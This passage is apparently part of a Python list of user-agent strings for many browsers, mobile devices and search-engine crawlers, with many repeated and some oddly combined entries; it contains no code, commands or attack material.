'Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)',
'Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0',
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'Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)',
'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)',
'Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)',
'Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)',
'Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16',
'Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)',
'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)',
'Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)',
'Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7',
'BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0',
'Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)',
'Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)',
'Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10',
'Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)',
'Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007',
'BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179',
'Mozilla/5.0 (compatible; 008/0.83; http://www.80legs.com/webcrawler.html) Gecko/2008032620',
'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) AddSugarSpiderBot www.idealobserver.com',
'Mozilla/5.0 (compatible; AnyApexBot/1.0; +http://www.anyapex.com/bot.html)',
'Mozilla/4.0 (compatible; Arachmo)', 'Mozilla/4.0 (compatible; B-l-i-t-z-B-O-T)',
'Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)',
'Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)',
'Mozilla/5.0 (compatible; BecomeBot/2.3; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)',
'BillyBobBot/1.0 (+http://www.billybobbot.com/crawler/)',
'Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)',
'Sqworm/2.9.85-BETA (beta_release; 20011115-775; i686-pc-linux-gnu)',
'Mozilla/5.0 (compatible; YandexImages/3.0; +http://yandex.com/bots)',
'Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)',
'Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )',
'Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )',
'Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)',
'Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.dlc@looksmart.net; http://www.WISEnutbot.com)',
'Mozilla/4.0 compatible ZyBorg/1.0 (wn-16.zyborg@looksmart.net; http://www.WISEnutbot.com)',
'Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable) AppleWebKit/420+ (KHTML, like Gecko)',
'Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser 1.98.744; .NET CLR 3.5.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; Acoo Browser; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Avant Browser)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser; GTB6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Acoo Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/419 (KHTML, like Gecko, Safari/419.3) Cheshire/1.0.ALPHA',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) ChromePlus/4.0.222.3 Chrome/4.0.222.3 Safari/532.2',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 ChromePlus/1.5.1.1',
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'Mozilla/5.0 (PLAYSTATION 3; 3.55)', 'Mozilla/5.0 (PLAYSTATION 3; 2.00)',
'Mozilla/5.0 (PLAYSTATION 3; 1.00)',
'Mozilla/5.0 (Windows NT 6.3; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.4.0',
'Mozilla/5.0 (compatible; AbiLogicBot/1.0; +http://www.abilogic.com/bot.html)',
'SiteBar/3.3.8 (Bookmark Server; http://sitebar.org/)',
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'iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)',
'Mozilla/4.0 (compatible; WebCapture 3.0; Macintosh)',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (FM Scene 4.6.1)',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729) (Prevx 3.0.5) ',
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'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1',
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'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)',
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'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; acc=baadshah; acc=none; freenet DSL 1.1; (none))',
'Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.51',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; snprtz|S26320700000083|2600#Service Pack 1#2#5#154321|isdn)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Alexa Toolbar; mxie; .NET CLR 1.1.4322)',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7)',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
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'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
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'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)',
'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)',
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'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',
'Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57',
'Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
'Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0',
'Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g',
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'Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)',
'Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)',
'Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)',
'Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0',
'Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10',
'Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)',
'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)',
'Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)',
'Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)',
'Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16',
'Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)',
'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)',
'Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)',
'Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7',
'BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0',
'Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)',
'Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)',
'Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10',
'Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)',
'Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007',
'BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179',
'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)',
'Googlebot/2.1 (http://www.googlebot.com/bot.html)', 'Opera/9.20 (Windows NT 6.0; U; en)',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)',
'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)',
'Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.0',
'Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16',
'Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13',
'Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)',
'Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)',
'Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)', 'Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7',
'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)',
'Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)',
'YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)',
'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
'AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)',
'Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)',
'Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)',
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'Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)',
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'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4',
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'Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)',
'Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7',
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'Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)',
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'Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10',
'Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)',
'Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007',
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'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)',
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'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)',
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'Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13',
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'Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)',
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'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7',
'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)',
'Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)',
'YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
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'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
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'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)',
'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
'AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)',
'Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)',
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'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
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'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)',
'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
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'Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36',
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'Mozilla/5.0 (Windows NT 5.1; rv:31.0) Gecko/20100101 Firefox/31.0',
'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20120101 Firefox/29.0',
'Mozilla/5.0 (X11; OpenBSD amd64; rv:28.0) Gecko/20100101 Firefox/28.0',
'Mozilla/5.0 (X11; Linux x86_64; rv:28.0) Gecko/20100101 Firefox/28.0',
'Mozilla/5.0 (Windows NT 6.1; rv:27.3) Gecko/20130101 Firefox/27.3',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:25.0) Gecko/20100101 Firefox/25.0',
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'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)',
'Mozilla/5.0(compatible; MSIE 10.0; Windows NT 6.1; Trident/4.0; InfoPath.2; SV1; .NET CLR 2.0.50727; WOW64)',
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'Mozilla/5.0 (BlackBerry; U; BlackBerry 9900; en) AppleWebKit/534.11+ (KHTML, like Gecko) Version/7.1.0.346 Mobile Safari/534.11+',
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'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
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'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
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'Mozilla/5.0 (X11; Linux x86_64; rv:28.0) Gecko/20100101 Firefox/28.0',
'Mozilla/5.0 (Windows NT 6.1; rv:27.3) Gecko/20130101 Firefox/27.3',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:25.0) Gecko/20100101 Firefox/25.0',
'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:24.0) Gecko/20100101 Firefox/24.0',
'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)',
'Mozilla/5.0(compatible; MSIE 10.0; Windows NT 6.1; Trident/4.0; InfoPath.2; SV1; .NET CLR 2.0.50727; WOW64)',
'Mozilla/5.0 (compatible; MSIE 10.0; Macintosh; Intel Mac OS X 10_7_3; Trident/6.0)',
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'Mozilla/5.0 (Windows NT 6.2) AppleWebKit/535.7 (KHTML, like Gecko) Comodo_Dragon/16.1.1.0 Chrome/16.0.912.63 Safari/535.7',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.5 (KHTML, like Gecko) Comodo_Dragon/4.1.1.11 Chrome/4.1.249.1042 Safari/532.5',
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'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)',
'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)',
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'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57',
'Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
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'Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0',
'Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g',
'Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125',
'Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)',
'Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)',
'Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)',
'Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0',
'Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10',
'Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)',
'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)',
'Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)',
